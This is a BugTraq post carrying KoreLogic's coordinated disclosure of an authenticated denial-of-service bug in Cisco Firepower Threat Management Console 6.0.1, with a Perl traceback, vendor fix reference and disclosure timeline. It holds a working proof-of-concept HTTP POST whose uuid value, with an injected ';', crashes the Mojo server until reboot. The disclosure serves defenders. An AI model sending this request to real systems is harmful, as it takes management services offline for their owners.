BugTraq
KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial of Service Oct 05 2016 08:27PM
KoreLogic Disclosures (disclosures korelogic com)
KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial
of Service

Title: Cisco Firepower Threat Management Console Authenticated Denial of Service
Advisory ID: KL-001-2016-004
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-004.txt

1. Vulnerability Details

Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-404: Improper Resource Shutdown or Release
Impact: Denial of Service
Attack vector: HTTP

2. Vulnerability Description

A authenticated user can send an HTTP request that will crash
the Mojo Server thereby making future access impossible until
a system reboot is performed.

3. Technical Description

The parameter uuid is passed to a chmod function as part of
a file path. A ';' in the path causes the function to return
an exception.

POST /pjb.cgi HTTP/1.1
Host: 1.3.3.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Content-Type: application/x-www-form-urlencoded
Referer: https://1.3.3.7/ddd/
Content-Length: 1180
Cookie:
x-auto-507=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%
22%3A%22i%3A20%22%7D%7D;
x-auto-467=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%
22%3A%22i%3A20%22%7D%7D;
CGISESSID=ab588faec87c38a18347787e3b442ff8
Connection: close

&function=SF::UI::PJB::Vpn::List::saveVpnDeployment&parameters=%5B%7B%22
password%22%3A%22test%22%2C+%22authentication_method%22%3A%22password%22
%2C+%22type%22%3A%22PTP%22%2C+%22advanced_setting%22%3A%7B%22ah%22%3A0%2
C+%22life_bytes%22%3A%220%22%2C+%22life_time%22%3A1%2C+%22life_time_unit
%22%3A%22hours%22%2C+%22life_packets%22%3A%220%22%2C+%22ike_life_time%22
%3A3%2C+%22ike_life_time_unit%22%3A%22hours%22%2C+%22ikev2%22%3A1%2C+%22
ike_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_message
s%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%
22dh%22%3A%22modp2048%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%
22%3A%22sha256%22%2C+%22dh%22%3A%22modp2048%22%7D%5D%7D%2C+%22phase2_alg
orithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A
%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22
%3A%22%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%
22%2C+%22dh%22%3A%22%22%7D%5D%7D%7D%2C+%22status%22%3A0%2C+%22name%22%3A
%22test%22%2C+%22uuid%22%3A%2207a0d152-09fc-11e6-93cc-9d074250060f;%22%2
C+%22applied%22%3A-1%7D%2C%5B%5D%5D&sf_action_id=a5ba3e29eb18730f7c8dc88
d53b48759&ex=1&ss=AllVpnList

As no exception handler is defined, the process exits.

Perl traceback:

The 'file' parameter
("/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;.lock")
to SF::System::chmod did not pass the 'Type Validator
(system.file)' callback
at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 73
SF::System::__ANON__('The \'file\' parameter
("/var/tmp/VPNDeployment-07a0d152-09fc...')
called at /usr/local/sf/lib/perl/5.10.1/SF/System.pm
line 640
SF::System::chmod('HASH(0x114c3c88)')
called at /usr/local/sf/lib/perl/5.10.1/SF/Util.pm
line 619

SF::Util::wait_for_lock('/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-
9d074250060f;....',
120)
called at
/usr/local/sf/lib/perl/5.10.1/SF/EODataHandler/VPNDeployment.pm
line 206

SF::EODataHandler::VPNDeployment::get_lock('07a0d152-09fc-11e6-93cc-9d07
4250060f;')
called at
/usr/local/sf/lib/perl/5.10.1/SF/UI/PJB/Vpn/List.pm
line 540
SF::UI::PJB::Vpn::List::saveVpnDeployment('HASH(0x1154bf38)',
'ARRAY(0x11513750)')
called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm
line 859
SF::UI::PJB::executeFunction('SF::UI::PJB::Vpn::List::saveVpnDeployment'
,
'ARRAY(0x11513720)')
called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm
line 821
SF::UI::PJB::handleRequest('SF::UI::PJB::Vpn::List::saveVpnDeployment',
'[{"password":"test", "authentication_method":"password",
"typ...')
called at
/usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm
line 39
eval {...}
called at
/usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm
line 42

SF::Mojo::Handlers::PjbHandler::handle_pjb_cgi('SF::Mojo::Handlers::PjbH
andler=HASH(0x1152d7a0)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 126
Mojolicious::__ANON__(undef,
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
'CODE(0xd635740)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 23
Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',

'around_action',
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
'CODE(0xd635740)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 106
Mojolicious::Routes::_action('SF::Mojo=HASH(0x905ed38)',
'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)',
'CODE(0xd635740)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 191
Mojolicious::Routes::_controller('Mojolicious::Routes=HASH(0x905f208)',
'Mojolicious::Controller=HASH(0x1064dbf8)',
'HASH(0x10026868)', 1)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 43
Mojolicious::Routes::continue('Mojolicious::Routes=HASH(0x905f208)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm
line 51
Mojolicious::Routes::dispatch('Mojolicious::Routes=HASH(0x905f208)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 118
Mojolicious::dispatch('SF::Mojo=HASH(0x905ed38)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 127
Mojolicious::__ANON__(undef,
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm
line 217
eval {...}
called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm
line 217
SF::Mojo::__ANON__('CODE(0x1152fe98)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 199
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 199
Mojolicious::_exception('CODE(0xf58a1098)',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 20
Mojolicious::Plugins::__ANON__()
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm
line 23
Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)',

'around_dispatch',
'Mojolicious::Controller=HASH(0x1064dbf8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm
line 133
Mojolicious::handler('SF::Mojo=HASH(0x905ed38)',
'Mojo::Transaction::HTTP=HASH(0x114f6558)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server.pm line 71
Mojo::Server::__ANON__('Mojo::Server::Prefork=HASH(0x8349e58)',
'Mojo::Transaction::HTTP=HASH(0x114f6558)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 15
Mojo::EventEmitter::emit('Mojo::Server::Prefork=HASH(0x8349e58)',
'request', 'Mojo::Transaction::HTTP=HASH(0x114f6558)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
line 83
Mojo::Server::Daemon::__ANON__('Mojo::Transaction::HTTP=HASH(0x114f6558)
')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 15
Mojo::EventEmitter::emit('Mojo::Transaction::HTTP=HASH(0x114f6558)',
'request')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Transaction/HTTP.pm
line 65

Mojo::Transaction::HTTP::server_read('Mojo::Transaction::HTTP=HASH(0x114
f6558)',
'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:
1.3.3.7\x{d}\x{a}User-Agent: Mozil...')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
line 186
Mojo::Server::Daemon::_read('Mojo::Server::Prefork=HASH(0x8349e58)',
'b2bd7252c6d676b510adb8ba94b9f73f', 'POST /pjb.cgi
HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent:
Mozil...')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm
line 166
Mojo::Server::Daemon::__ANON__('Mojo::IOLoop::Stream=HASH(0x103a7e40)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 33
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm
line 33
Mojo::EventEmitter::emit_safe('Mojo::IOLoop::Stream=HASH(0x103a7e40)',
'read', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host:
1.3.3.7\x{d}\x{a}User-Agent: Mozil...')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm
line 116
Mojo::IOLoop::Stream::_read('Mojo::IOLoop::Stream=HASH(0x103a7e40)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm
line 53
Mojo::IOLoop::Stream::__ANON__('Mojo::Reactor::EV=HASH(0x88c8ca8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm
line 115
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm
line 115
Mojo::Reactor::Poll::_sandbox('Mojo::Reactor::EV=HASH(0x88c8ca8)',
'Read', 'CODE(0x1152e100)', 0)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 52
Mojo::Reactor::EV::_io('Mojo::Reactor::EV=HASH(0x88c8ca8)',
77, 'EV::IO=SCALAR(0x10667cc8)', 3)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 43
Mojo::Reactor::EV::__ANON__('EV::IO=SCALAR(0x10667cc8)', 3)
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 24
eval {...}
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm
line 24
Mojo::Reactor::EV::start('Mojo::Reactor::EV=HASH(0x88c8ca8)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop.pm
line 130
Mojo::IOLoop::start('Mojo::IOLoop=HASH(0x88c8a58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
line 214
Mojo::Server::Prefork::_spawn('Mojo::Server::Prefork=HASH(0x8349e58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
line 122
Mojo::Server::Prefork::_manage('Mojo::Server::Prefork=HASH(0x8349e58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm
line 96
Mojo::Server::Prefork::run('Mojo::Server::Prefork=HASH(0x8349e58)')
called at
/usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Hypnotoad.pm
line 77
Mojo::Server::Hypnotoad::run('Mojo::Server::Hypnotoad=HASH(0x8953e50)',
'/var/sf/bin/mojo_server.pl')
called

4. Mitigation and Remediation Recommendation

The vendor has addressed this vulnerability in their Support
Center as Bug ID CSCva30631. Vendor acknowledgement available
at: https://tools.cisco.com/bugsearch/

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of
KoreLogic, Inc.

6. Disclosure Timeline

2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
same product.
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
remediation efforts.
2016.09.15 - Cisco confirms remediation is underway and soon to be
completed.
2016.09.28 - Cisco informs KoreLogic that the remediation details will
be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.

7. Proof of Concept

See Technical Description

The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Poli
cy.v2.2.txt

-----BEGIN PGP SIGNATURE-----

iQE3BAEBCAAhBQJX9WIiGhxkaXNjbG9zdXJlc0Brb3JlbG9naWMuY29tAAoJEE1l
miwOGYkMhf0H/0aiplW/1MiSQJ+cylnsjF44Mk9gP6HjebBXkAnGkBUp9HLrT+wI
FLWptUxH4K73FH2X8dGkanKBxY3AJEzP3LC70cH1732rrIFiwbeavA/Am1v24vbg
tbX6PZvhAXnTjFT19jQMIY1ZL6urhuOAhCoFvj9rANANrQYFF8IQ8CfmuYf0CXBK
5AckZp1ugPQwtIAYGPBhxOGzKls/nZL8u00g8qNvAcvp7PRmOe9wcC4kUyzaav/W
ca0HxNh0qjWIGdNwziZ/xpthG0jA7Fhs17imYKI59HEowYTB8VKIOLXDyXr+VIQX
Y+D+mNwvtIgaACWh7ogTKoE9vZ7UrJw9QTU=
=jtAQ
-----END PGP SIGNATURE-----

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus